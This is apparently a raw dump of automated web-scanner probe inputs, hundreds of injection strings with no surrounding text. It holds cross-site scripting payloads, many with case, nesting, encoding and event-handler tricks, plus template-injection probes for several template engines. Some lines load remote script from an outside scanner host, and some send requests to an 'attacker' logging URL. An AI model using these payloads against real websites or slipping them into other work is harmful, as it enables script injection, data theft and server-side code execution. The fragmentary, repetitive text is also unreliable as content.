dfb{{98991*97996}}xca

bfgx3643\xc0\xbez1\xc0\xbcz2a\x90bcxhjl3643

555<ScRiPt >8JP8(9377)</ScRiPt>

dfb{{98991*97996}}xca

dfb__${98991*97996}__::.x

<%={{={@{#{${dfb}}%>

555<ScRiPt >5Pes(9864)</ScRiPt>

dfb{98991*97996}xca

"}dfb{98991*97996}xca

555<a70Kqfu<

555'"()&%<zzz><ScRiPt >CfpV(9339)</ScRiPt>

dfb${98991*97996}xca

555<svg \xa0onload=5Pes(9436)

dfb{98991*97996}xca

"}dfb${98991*97996}xca

<%={{={@{#{${dfb}}%>

555<svg \xa0onload=8JP8(9194)

'"()&%<zzz><ScRiPt >CfpV(9576)</ScRiPt>

555<isindex type=image src=1 onerror=5Pes(9719)>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

<th:t="${dfb}#foreach

dfb[[${98991*97996}]]xca

dfb#{98991*97996}xca

"}dfb#{98991*97996}xca

dfb${98991*97996}xca

555'"()&%<zzz><ScRiPt >LHwS(9254)</ScRiPt>

555

555<isindex type=image src=1 onerror=8JP8(9446)>

5559777057

555

555<iframe src='data:text/html

dfb#{98991*97996}xca

"}dfb{#98991*97996}xca

555<ScRiPt >b8Td(9005)</ScRiPt>

dfb{#98991*97996}xca

dfb__${98991*97996}__::.x

555<iframe src='data:text/html

<th:t="${dfb}#foreach

'"()&%<zzz><ScRiPt >LHwS(9978)</ScRiPt>

555<body onload=5Pes(9727)>

bfg5886\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl5886

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<WPOWFM>7LZJY[!+!]</WPOWFM>

dfb{#98991*97996}xca

"}dfb{@98991*97996}xca

dfb{@98991*97996}xca

555'"()&%<zzz><ScRiPt >a4Yl(9559)</ScRiPt>

555<body onload=8JP8(9747)>

555

5559780958

555<ScRiPt >l0CJ(9257)</ScRiPt>

dfb{{=98991*97996}}xca

"}}dfb{{=98991*97996}}xca

555<script>b8Td(9314)</script>

555<img src=//xss.bxss.me/t/dot.gif onload=5Pes(9299)>

bfgx1029\xc0\xbez1\xc0\xbcz2a\x90bcxhjl1029

555

555<WHCMXS>BG36V[!+!]</WHCMXS>

'"()&%<zzz><ScRiPt >a4Yl(9279)</ScRiPt>

dfb{@98991*97996}xca

bfg2387\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl2387

555<img src=xyz OnErRor=5Pes(9576)>

dfb@(98991*97996)xca

555<img src=//xss.bxss.me/t/dot.gif onload=8JP8(9350)>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb{{98991*97996}}xca

555<ScR<ScRiPt>IpT>b8Td(9327)</sCr<ScRiPt>IpT>

555<script>l0CJ(9705)</script>

")dfb@(98991*97996)xca

5559623676

bfgx5666\xc0\xbez1\xc0\xbcz2a\x90bcxhjl5666

<%={{={@{#{${dfb}}%>

dfb{{=98991*97996}}xca

dfb<%=98991*97996%>xca

dfb[[${98991*97996}]]xca

555<img src=xyz OnErRor=8JP8(9903)>

555<ScRiPt >b8Td(9871)</ScRiPt>

555<img/src=">" onerror=alert(9488)>

555

555<ScR<ScRiPt>IpT>l0CJ(9150)</sCr<ScRiPt>IpT>

bfg8288\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl8288

dfb@(98991*97996)xca

<%={{={@{#{${dfb}}%>

"%>dfb<%=98991*97996%>xca

555

dfb#set($x=98991*97996)${x}xca

%35%35%35%3C%53%63%52%69%50%74%20%3E%35%50%65%73%289725%29%3C%2F%73%43%72%69%70%54%3E

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9070></ScRiPt>

bfgx10235\xc0\xbez1\xc0\xbcz2a\x90bcxhjl10235

dfb__${98991*97996}__::.x

555<img/src=">" onerror=alert(9120)>

555<ScRiPt >l0CJ(9639)</ScRiPt>

555

dfb{{98991*97996}}xca

dfb<%=98991*97996%>xca

555\u003CScRiPt\5Pes(9987)\u003C/sCripT\u003E

"}dfb#set($x=98991*97996)${x}xca

<%={{={@{#{${dfb}}%>

555<ScRiPt >b8Td(9156)</ScRiPt>

<th:t="${dfb}#foreach

dfb{{"abc"|title}}xca

dfb[[${98991*97996}]]xca

<th:t="${dfb}#foreach

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9264></ScRiPt>

dfb#set($x=98991*97996)${x}xca

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

%35%35%35%3C%53%63%52%69%50%74%20%3E%38%4A%50%38%289015%29%3C%2F%73%43%72%69%70%54%3E

"}dfb{{"abc"|title}}xca

555&lt

555

dfb__${98991*97996}__::.x

555<ScRiPt >FDeJ(9733)</ScRiPt>

555<ScRiPt >l0CJ(9374)</ScRiPt>

555

print("dfb" . 98991*97996 . "xca")

555<svg \xa0onload=b8Td(9900)

555

555\u003CScRiPt\8JP8(9103)\u003C/sCripT\u003E

dfb{{"abc"|title}}xca

555<svg \xa0onload=l0CJ(9502)

555<WOGFBM>PECZO[!+!]</WOGFBM>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

\xf6<img zzz onmouseover=5Pes(92181) //\xf6>

"print("dfb" . 98991*97996 . "xca")

<th:t="${dfb}#foreach

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<isindex type=image src=1 onerror=b8Td(9548)>

98991*97996*98991*97996

555<input autofocus onfocus=5Pes(9346)>

555<isindex type=image src=1 onerror=l0CJ(9039)>

555&lt

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

print("dfb" . 98991*97996 . "xca")

555

555

<a HrEF=http://xss.bxss.me></a>

555<script>FDeJ(9882)</script>

555<ScRiPt >XjfN(9368)</ScRiPt>

"98991*97996*98991*97996

dfb{@math key=98991 method="multiply" operand=97996/}xca

555<iframe src='data:text/html

555<iframe src='data:text/html

<a HrEF=jaVaScRiPT:>

\xf6<img zzz onmouseover=8JP8(91531) //\xf6>

555

98991*97996*98991*97996

dfb{{98991*97996}}xca

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

"}dfb{@math key=98991 method="multiply" operand=97996/}xca

555<body onload=b8Td(9946)>

dfb{{98991*97996}}xca

555<input autofocus onfocus=8JP8(9750)>

555<ScR<ScRiPt>IpT>FDeJ(9428)</sCr<ScRiPt>IpT>

555<W9Y5PQ>1DAYA[!+!]</W9Y5PQ>

dfb{{{this}}}xca

555<body onload=l0CJ(9852)>

dfb[[${98991*97996}]]xca

555<img src=//xss.bxss.me/t/dot.gif onload=b8Td(9985)>

dfb{@math key=98991 method="multiply" operand=97996/}xca

555<ScRiPt >FDeJ(9698)</ScRiPt>

<a HrEF=http://xss.bxss.me></a>

555}body{zzz:Expre/**/SSion(5Pes(9084))}

555

"}}}dfb{{{this}}}xca

555<img src=//xss.bxss.me/t/dot.gif onload=l0CJ(9735)>

#{98991*97996*98991*97996}

555p46Jt <ScRiPt >5Pes(9659)</ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9839></ScRiPt>

dfb{{{this}}}xca

555<img src=xyz OnErRor=b8Td(9490)>

dfb[[${98991*97996}]]xca

555<script>XjfN(9197)</script>

dfb__${98991*97996}__::.x

555<img src=xyz OnErRor=l0CJ(9665)>

"}#{98991*97996*98991*97996}

<a HrEF=jaVaScRiPT:>

dfb__${98991*97996}__::.x

555<img/src=">" onerror=alert(9779)>

dfb#{xca}=123

dfb{{98991*97996}}xca

555<WX9FH0>648CC[!+!]</WX9FH0>

555<ScRiPt >FDeJ(9638)</ScRiPt>

"}dfb#{xca}=123

555<img/src=">" onerror=alert(9631)>

#{98991*97996*98991*97996}

555<ScR<ScRiPt>IpT>XjfN(9858)</sCr<ScRiPt>IpT>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555}body{zzz:Expre/**/SSion(8JP8(9393))}

%35%35%35%3C%53%63%52%69%50%74%20%3E%62%38%54%64%289239%29%3C%2F%73%43%72%69%70%54%3E

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

dfb{{'abcd'.toUpperCase()}}xca

dfb#{xca}=123

%35%35%35%3C%53%63%52%69%50%74%20%3E%6C%30%43%4A%289898%29%3C%2F%73%43%72%69%70%54%3E

555<svg \xa0onload=FDeJ(9338)

dfb[[${98991*97996}]]xca

555<ifRAme sRc=9768.com></IfRamE>

"}}dfb{{'abcd'.toUpperCase()}}xca

555<ScRiPt >XjfN(9192)</ScRiPt>

555<ScRiPt >LHwS(9205)</ScRiPt>

555\u003CScRiPt\b8Td(9460)\u003C/sCripT\u003E

555<ScRiPt >CfpV(9872)</ScRiPt>

555N3nzR <ScRiPt >8JP8(9461)</ScRiPt>

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9214></ScRiPt>

dfb{{'abcd'.toUpperCase()}}xca

555<WCKGDA>A3M7Z[!+!]</WCKGDA>

555<WG9VCU>EULCJ[!+!]</WG9VCU>

555<WVAGL2>85HRK[!+!]</WVAGL2>

555<isindex type=image src=1 onerror=FDeJ(9687)>

555<al7BDFO x=9462>

"}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

dfb__${98991*97996}__::.x

555\u003CScRiPt\l0CJ(9113)\u003C/sCripT\u003E

555<ScRiPt >XjfN(9368)</ScRiPt>

dfb{{98991*97996}}xca

555&lt

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555<script>LHwS(9488)</script>

dfb[[${98991*97996}]]xca

555<svg \xa0onload=XjfN(9243)

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<iframe src='data:text/html

\xf6<img zzz onmouseover=b8Td(92281) //\xf6>

555<ifRAme sRc=9448.com></IfRamE>

555<script>CfpV(9719)</script>

555<img sRc='http://attacker-9398/log.php?

"}}dfb{{98991*97996}}xca

555&lt

555<ScRiPt >a4Yl(9268)</ScRiPt>

555<isindex type=image src=1 onerror=XjfN(9994)>

\xf6<img zzz onmouseover=l0CJ(95551) //\xf6>

555<ScR<ScRiPt>IpT>LHwS(9548)</sCr<ScRiPt>IpT>

dfb{{98991*97996}}xca

dfb__${98991*97996}__::.x

555<body onload=FDeJ(9590)>

555<input autofocus onfocus=b8Td(9807)>

555<ScR<ScRiPt>IpT>CfpV(9516)</sCr<ScRiPt>IpT>

555<axoY1AM<

555<iframe src='data:text/html

555'"()&%<zzz><ScRiPt >g1Iy(9020)</ScRiPt>

555<aVrZELT x=9811>

"}dfb[[${98991*97996}]]xca

555<WNW2D0>W3NRS[!+!]</WNW2D0>

dfb[[${98991*97996}]]xca

<a HrEF=http://xss.bxss.me></a>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<img sRc='http://attacker-9478/log.php?

555<body onload=XjfN(9818)>

555<ScRiPt >CfpV(9004)</ScRiPt>

555<input autofocus onfocus=l0CJ(9830)>

555<ScRiPt >LHwS(9357)</ScRiPt>

555<img src=//xss.bxss.me/t/dot.gif onload=FDeJ(9220)>

555<script>a4Yl(9273)</script>

<a HrEF=jaVaScRiPT:>

555<ScRiPt >fK7k(9113)</ScRiPt>

'"()&%<zzz><ScRiPt >g1Iy(9718)</ScRiPt>

"dfb__${98991*97996}__::.x

dfb__${98991*97996}__::.x

555<ScR<ScRiPt>IpT>a4Yl(9854)</sCr<ScRiPt>IpT>

555<aTRZxyH<

<a HrEF=http://xss.bxss.me></a>

555<ScRiPt >a4Yl(9980)</ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9215></ScRiPt>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555}body{zzz:Expre/**/SSion(b8Td(9344))}

555<img src=xyz OnErRor=FDeJ(9602)>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9097></ScRiPt>

555<img src=//xss.bxss.me/t/dot.gif onload=XjfN(9576)>

555'"()&%<zzz><ScRiPt >e5UZ(9466)</ScRiPt>

555<WOUBAY>GMXNX[!+!]</WOUBAY>

5559666218

"}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

<a HrEF=jaVaScRiPT:>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9054></ScRiPt>

555<ScRiPt >LHwS(9857)</ScRiPt>

555<ScRiPt >Aagb(9861)</ScRiPt>

555d08DG <ScRiPt >b8Td(9894)</ScRiPt>

555<img/src=">" onerror=alert(9597)>

555<ScRiPt >CfpV(9605)</ScRiPt>

555<img src=xyz OnErRor=XjfN(9468)>

'"()&%<zzz><ScRiPt >e5UZ(9838)</ScRiPt>

555<script>fK7k(9222)</script>

'}}dfb{{98991*97996}}xca

bfg1885\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl1885

555<WMHKZJ>SMLD2[!+!]</WMHKZJ>

555}body{zzz:Expre/**/SSion(l0CJ(9477))}

555<ScRiPt >a4Yl(9041)</ScRiPt>

555<svg \xa0onload=LHwS(9938)

555<W1LVDX>JV0CI[!+!]</W1LVDX>

%35%35%35%3C%53%63%52%69%50%74%20%3E%46%44%65%4A%289596%29%3C%2F%73%43%72%69%70%54%3E

555<ScR<ScRiPt>IpT>fK7k(9583)</sCr<ScRiPt>IpT>

555<svg \xa0onload=CfpV(9611)

555<img/src=">" onerror=alert(9181)>

5559640498

555<svg \xa0onload=a4Yl(9918)

555<script>Aagb(9401)</script>

5558HcW9 <ScRiPt >l0CJ(9914)</ScRiPt>

555<ifRAme sRc=9279.com></IfRamE>

'%}dfb{{98991*97996}}xca

bfgx7348\xc0\xbez1\xc0\xbcz2a\x90bcxhjl7348

555'"()&%<zzz><ScRiPt >iLVD(9820)</ScRiPt>

555'"()&%<zzz><ScRiPt >2HIg(9580)</ScRiPt>

555<ScRiPt >fK7k(9834)</ScRiPt>

555<isindex type=image src=1 onerror=LHwS(9027)>

555\u003CScRiPt\FDeJ(9239)\u003C/sCripT\u003E

555<isindex type=image src=1 onerror=CfpV(9125)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%58%6A%66%4E%289695%29%3C%2F%73%43%72%69%70%54%3E

<%={{={@{#{${dfb}}%>

555<WLT0JX>ZI153[!+!]</WLT0JX>

555<aYE6Yuw x=9943>

'"()&%<zzz><ScRiPt >iLVD(9549)</ScRiPt>

'"()&%<zzz><ScRiPt >2HIg(9368)</ScRiPt>

555<ScR<ScRiPt>IpT>Aagb(9671)</sCr<ScRiPt>IpT>

bfg7823\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl7823

555<isindex type=image src=1 onerror=a4Yl(9901)>

555\u003CScRiPt\XjfN(9633)\u003C/sCripT\u003E

555<iframe src='data:text/html

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9356></ScRiPt>

'}dfb{98991*97996}xca

555<iframe src='data:text/html

555&lt

555<ifRAme sRc=9047.com></IfRamE>

555<img sRc='http://attacker-9531/log.php?

5559378967

555<ScRiPt >Aagb(9120)</ScRiPt>

555<iframe src='data:text/html

5559966682

555

bfgx6820\xc0\xbez1\xc0\xbcz2a\x90bcxhjl6820

555<ScRiPt >fK7k(9481)</ScRiPt>

555<apQa6Lg x=9094>

\xf6<img zzz onmouseover=FDeJ(91451) //\xf6>

555<body onload=CfpV(9518)>

555&lt

'}dfb${98991*97996}xca

555<body onload=LHwS(9687)>

555<svg \xa0onload=fK7k(9501)

555<body onload=a4Yl(9637)>

bfg7785\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl7785

555<input autofocus onfocus=FDeJ(9090)>

<th:t="${dfb}#foreach

555<axsLRxC<

bfg4396\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl4396

<%={{={@{#{${dfb}}%>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9380></ScRiPt>

555<img sRc='http://attacker-9525/log.php?

555

bfgx3631\xc0\xbez1\xc0\xbcz2a\x90bcxhjl3631

555

bfgx3355\xc0\xbez1\xc0\xbcz2a\x90bcxhjl3355

555<img src=//xss.bxss.me/t/dot.gif onload=CfpV(9364)>

\xf6<img zzz onmouseover=XjfN(92951) //\xf6>

'}dfb#{98991*97996}xca

555<img src=//xss.bxss.me/t/dot.gif onload=LHwS(9013)>

555<isindex type=image src=1 onerror=fK7k(9272)>

555<img src=//xss.bxss.me/t/dot.gif onload=a4Yl(9767)>

555<aB5XAnb<

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<ScRiPt >Aagb(9892)</ScRiPt>

<a HrEF=http://xss.bxss.me></a>

555<img src=xyz OnErRor=a4Yl(9599)>

555<iframe src='data:text/html

'}dfb{#98991*97996}xca

555<img src=xyz OnErRor=CfpV(9935)>

<th:t="${dfb}#foreach

<%={{={@{#{${dfb}}%>

<%={{={@{#{${dfb}}%>

555<input autofocus onfocus=XjfN(9702)>

555<img src=xyz OnErRor=LHwS(9162)>

555

555

555<svg \xa0onload=Aagb(9338)

<a HrEF=jaVaScRiPT:>

555

555<img/src=">" onerror=alert(9652)>

555<img/src=">" onerror=alert(9702)>

555

555}body{zzz:Expre/**/SSion(FDeJ(9708))}

555<body onload=fK7k(9342)>

'}dfb{@98991*97996}xca

<a HrEF=http://xss.bxss.me></a>

555<img/src=">" onerror=alert(9300)>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

'}}dfb{{=98991*97996}}xca

<th:t="${dfb}#foreach

555<isindex type=image src=1 onerror=Aagb(9140)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%61%34%59%6C%289618%29%3C%2F%73%43%72%69%70%54%3E

%35%35%35%3C%53%63%52%69%50%74%20%3E%43%66%70%56%289677%29%3C%2F%73%43%72%69%70%54%3E

dfb{{98991*97996}}xca

<th:t="${dfb}#foreach

555c1M5u <ScRiPt >FDeJ(9516)</ScRiPt>

%35%35%35%3C%53%63%52%69%50%74%20%3E%4C%48%77%53%289174%29%3C%2F%73%43%72%69%70%54%3E

<a HrEF=jaVaScRiPT:>

555\u003CScRiPt\a4Yl(9971)\u003C/sCripT\u003E

555<img src=//xss.bxss.me/t/dot.gif onload=fK7k(9412)>

555

555\u003CScRiPt\CfpV(9803)\u003C/sCripT\u003E

555

')dfb@(98991*97996)xca

555

555<iframe src='data:text/html

555\u003CScRiPt\LHwS(9477)\u003C/sCripT\u003E

555}body{zzz:Expre/**/SSion(XjfN(9473))}

dfb[[${98991*97996}]]xca

555<W2FVUK>JZKL0[!+!]</W2FVUK>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb{{98991*97996}}xca

555<img src=xyz OnErRor=fK7k(9963)>

555&lt

555&lt

555&lt

'%>dfb<%=98991*97996%>xca

555

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<body onload=Aagb(9798)>

555POMTD <ScRiPt >XjfN(9214)</ScRiPt>

dfb__${98991*97996}__::.x

555<ifRAme sRc=9540.com></IfRamE>

dfb[[${98991*97996}]]xca

'}dfb#set($x=98991*97996)${x}xca

555<ayUckuI x=9102>

\xf6<img zzz onmouseover=a4Yl(93611) //\xf6>

555<img/src=">" onerror=alert(9087)>

\xf6<img zzz onmouseover=CfpV(97591) //\xf6>

\xf6<img zzz onmouseover=LHwS(93571) //\xf6>

555<WWQ7CQ>FBBYE[!+!]</WWQ7CQ>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

dfb{{98991*97996}}xca

555

555<img src=//xss.bxss.me/t/dot.gif onload=Aagb(9035)>

dfb__${98991*97996}__::.x

'}dfb{{"abc"|title}}xca

555<input autofocus onfocus=a4Yl(9325)>

555<input autofocus onfocus=CfpV(9450)>

555<img sRc='http://attacker-9776/log.php?

%35%35%35%3C%53%63%52%69%50%74%20%3E%66%4B%37%6B%289357%29%3C%2F%73%43%72%69%70%54%3E

555<input autofocus onfocus=LHwS(9286)>

555<ScRiPt >g1Iy(9334)</ScRiPt>

555<ifRAme sRc=9819.com></IfRamE>

'print("dfb" . 98991*97996 . "xca")

<a HrEF=http://xss.bxss.me></a>

<a HrEF=http://xss.bxss.me></a>

dfb[[${98991*97996}]]xca

dfb{{98991*97996}}xca

555<img src=xyz OnErRor=Aagb(9006)>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

<a HrEF=http://xss.bxss.me></a>

555\u003CScRiPt\fK7k(9173)\u003C/sCripT\u003E

555<WLDQLY>1EGJE[!+!]</WLDQLY>

555<a08vrqj<

dfb[[${98991*97996}]]xca

555<afKH75k x=9476>

'98991*97996*98991*97996

555<img/src=">" onerror=alert(9501)>

<a HrEF=jaVaScRiPT:>

'}dfb{@math key=98991 method="multiply" operand=97996/}xca

dfb__${98991*97996}__::.x

555<script>g1Iy(9893)</script>

555&lt

<a HrEF=jaVaScRiPT:>

dfb__${98991*97996}__::.x

555<ScRiPt >e5UZ(9560)</ScRiPt>

<a HrEF=jaVaScRiPT:>

555<W44CEI>YZM5Q[!+!]</W44CEI>

555}body{zzz:Expre/**/SSion(a4Yl(9104))}

%35%35%35%3C%53%63%52%69%50%74%20%3E%41%61%67%62%289085%29%3C%2F%73%43%72%69%70%54%3E

555<img sRc='http://attacker-9406/log.php?

555<ScR<ScRiPt>IpT>g1Iy(9761)</sCr<ScRiPt>IpT>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555}body{zzz:Expre/**/SSion(LHwS(9306))}

555}body{zzz:Expre/**/SSion(CfpV(9898))}

'}}}dfb{{{this}}}xca

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

\xf6<img zzz onmouseover=fK7k(98441) //\xf6>

555<aCIilml<

555ejn97 <ScRiPt >LHwS(9849)</ScRiPt>

555<script>e5UZ(9089)</script>

555\u003CScRiPt\Aagb(9376)\u003C/sCripT\u003E

555<ScRiPt >2HIg(9933)</ScRiPt>

555rWlx2 <ScRiPt >a4Yl(9387)</ScRiPt>

555<ScRiPt >g1Iy(9498)</ScRiPt>

555<ScRiPt >iLVD(9551)</ScRiPt>

555<W9WZNH>PIHIQ[!+!]</W9WZNH>

555Ggmnp <ScRiPt >CfpV(9960)</ScRiPt>

'}#{98991*97996*98991*97996}

555<input autofocus onfocus=fK7k(9020)>

555<WJVKSK>V8J8L[!+!]</WJVKSK>

555<ScR<ScRiPt>IpT>e5UZ(9429)</sCr<ScRiPt>IpT>

555<WX98RF>HIEJ3[!+!]</WX98RF>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9408></ScRiPt>

555<WNNY6O>4MEDY[!+!]</WNNY6O>

555&lt

555<ScRiPt >g1Iy(9249)</ScRiPt>

555<script>iLVD(9212)</script>

555<script>2HIg(9350)</script>

555<W06Z9J>VROXI[!+!]</W06Z9J>

'}dfb#{xca}=123

<a HrEF=http://xss.bxss.me></a>

555<ifRAme sRc=9792.com></IfRamE>

555<ScRiPt >e5UZ(9721)</ScRiPt>

555<ifRAme sRc=9274.com></IfRamE>

\xf6<img zzz onmouseover=Aagb(95931) //\xf6>

555<aCbdyfb x=9020>

555<input autofocus onfocus=Aagb(9218)>

555<aZNJ6CP x=9888>

555<svg \xa0onload=g1Iy(9922)

555<ScR<ScRiPt>IpT>iLVD(9432)</sCr<ScRiPt>IpT>

555<ScR<ScRiPt>IpT>2HIg(9748)</sCr<ScRiPt>IpT>

555<ifRAme sRc=9241.com></IfRamE>

'}}dfb{{'abcd'.toUpperCase()}}xca

<a HrEF=jaVaScRiPT:>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9801></ScRiPt>

555<img sRc='http://attacker-9560/log.php?

555<adp3ho2 x=9122>

555<img sRc='http://attacker-9251/log.php?

555<ScRiPt >2HIg(9394)</ScRiPt>

'}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555<isindex type=image src=1 onerror=g1Iy(9388)>

555<anvLWyb<

<a HrEF=http://xss.bxss.me></a>

555<ScRiPt >iLVD(9973)</ScRiPt>

555}body{zzz:Expre/**/SSion(fK7k(9920))}

555<ScRiPt >e5UZ(9447)</ScRiPt>

555<aHHQDu2<

'}}dfb{{98991*97996}}xca

555<iframe src='data:text/html

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9356></ScRiPt>

555<img sRc='http://attacker-9917/log.php?

555<svg \xa0onload=e5UZ(9296)

555l7vDp <ScRiPt >fK7k(9764)</ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9965></ScRiPt>

555<ScRiPt >2HIg(9386)</ScRiPt>

555<body onload=g1Iy(9793)>

<a HrEF=jaVaScRiPT:>

'}dfb[[${98991*97996}]]xca

555<avC9XAt<

555<W4WGEF>DZYDX[!+!]</W4WGEF>

555<ScRiPt >iLVD(9248)</ScRiPt>

555<isindex type=image src=1 onerror=e5UZ(9515)>

555}body{zzz:Expre/**/SSion(Aagb(9303))}

555<img src=//xss.bxss.me/t/dot.gif onload=g1Iy(9542)>

'dfb__${98991*97996}__::.x

555<ifRAme sRc=9953.com></IfRamE>

555<iframe src='data:text/html

555<svg \xa0onload=2HIg(9272)

555SwW4l <ScRiPt >Aagb(9956)</ScRiPt>

555<svg \xa0onload=iLVD(9700)

555<img src=xyz OnErRor=g1Iy(9074)>

'}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<isindex type=image src=1 onerror=2HIg(9455)>

555<awOiTwz x=9349>

555<WZ9LAP>LKQ87[!+!]</WZ9LAP>

555<img/src=">" onerror=alert(9154)>

1}}dfb{{98991*97996}}xca

555<isindex type=image src=1 onerror=iLVD(9675)>

555<iframe src='data:text/html

555<ifRAme sRc=9257.com></IfRamE>

555<body onload=e5UZ(9099)>

555<img sRc='http://attacker-9150/log.php?

555<body onload=2HIg(9932)>

555<iframe src='data:text/html

1%}dfb{{98991*97996}}xca

%35%35%35%3C%53%63%52%69%50%74%20%3E%67%31%49%79%289766%29%3C%2F%73%43%72%69%70%54%3E

555<img src=//xss.bxss.me/t/dot.gif onload=e5UZ(9254)>

555<a7nGlwN x=9590>

555<img src=//xss.bxss.me/t/dot.gif onload=2HIg(9948)>

555<aGwhc1y<

555<body onload=iLVD(9889)>

555<img src=xyz OnErRor=e5UZ(9162)>

1}dfb{98991*97996}xca

555\u003CScRiPt\g1Iy(9708)\u003C/sCripT\u003E

555<img/src=">" onerror=alert(9570)>

555<img sRc='http://attacker-9338/log.php?

555<img src=xyz OnErRor=2HIg(9375)>

555<img src=//xss.bxss.me/t/dot.gif onload=iLVD(9773)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%65%35%55%5A%289651%29%3C%2F%73%43%72%69%70%54%3E

555<img/src=">" onerror=alert(9914)>

555&lt

555<img src=xyz OnErRor=iLVD(9542)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%32%48%49%67%289008%29%3C%2F%73%43%72%69%70%54%3E

555\u003CScRiPt\e5UZ(9859)\u003C/sCripT\u003E

\xf6<img zzz onmouseover=g1Iy(99391) //\xf6>

555<img/src=">" onerror=alert(9212)>

555\u003CScRiPt\2HIg(9073)\u003C/sCripT\u003E

555<avr8lrp<

555<input autofocus onfocus=g1Iy(9017)>

1}dfb${98991*97996}xca

555&lt

555&lt

<a HrEF=http://xss.bxss.me></a>

%35%35%35%3C%53%63%52%69%50%74%20%3E%69%4C%56%44%289063%29%3C%2F%73%43%72%69%70%54%3E

1}dfb#{98991*97996}xca

\xf6<img zzz onmouseover=e5UZ(93891) //\xf6>

\xf6<img zzz onmouseover=2HIg(92621) //\xf6>

555\u003CScRiPt\iLVD(9645)\u003C/sCripT\u003E

555'"()&%<zzz><ScRiPt >AoNn(9306)</ScRiPt>

555'"()&%<zzz><ScRiPt >qdY0(9109)</ScRiPt>

555'"()&%<zzz><ScRiPt >ippX(9301)</ScRiPt>

<a HrEF=jaVaScRiPT:>

555&lt

1}dfb{#98991*97996}xca

555'"()&%<zzz><ScRiPt >8NFk(9028)</ScRiPt>

555<input autofocus onfocus=e5UZ(9891)>

555<input autofocus onfocus=2HIg(9047)>

<a HrEF=http://xss.bxss.me></a>

1}dfb{@98991*97996}xca

\xf6<img zzz onmouseover=iLVD(94331) //\xf6>

<a HrEF=jaVaScRiPT:>

555}body{zzz:Expre/**/SSion(g1Iy(9899))}

'"()&%<zzz><ScRiPt >qdY0(9984)</ScRiPt>

'"()&%<zzz><ScRiPt >ippX(9624)</ScRiPt>

1}}dfb{{=98991*97996}}xca

555<input autofocus onfocus=iLVD(9937)>

'"()&%<zzz><ScRiPt >AoNn(9371)</ScRiPt>

'"()&%<zzz><ScRiPt >8NFk(9922)</ScRiPt>

5559270214

5559907450

<a HrEF=http://xss.bxss.me></a>

555}body{zzz:Expre/**/SSion(e5UZ(9164))}

1)dfb@(98991*97996)xca

<a HrEF=http://xss.bxss.me></a>

555bLCOU <ScRiPt >g1Iy(9212)</ScRiPt>

5559400946

bfg3756\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl3756

555j0HMW <ScRiPt >e5UZ(9126)</ScRiPt>

bfg4836\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl4836

<a HrEF=jaVaScRiPT:>

5559239899

555<W6NK5F>3NDKT[!+!]</W6NK5F>

1%>dfb<%=98991*97996%>xca

555<WGZLLT>MRHRB[!+!]</WGZLLT>

<a HrEF=jaVaScRiPT:>

555<ifRAme sRc=9275.com></IfRamE>

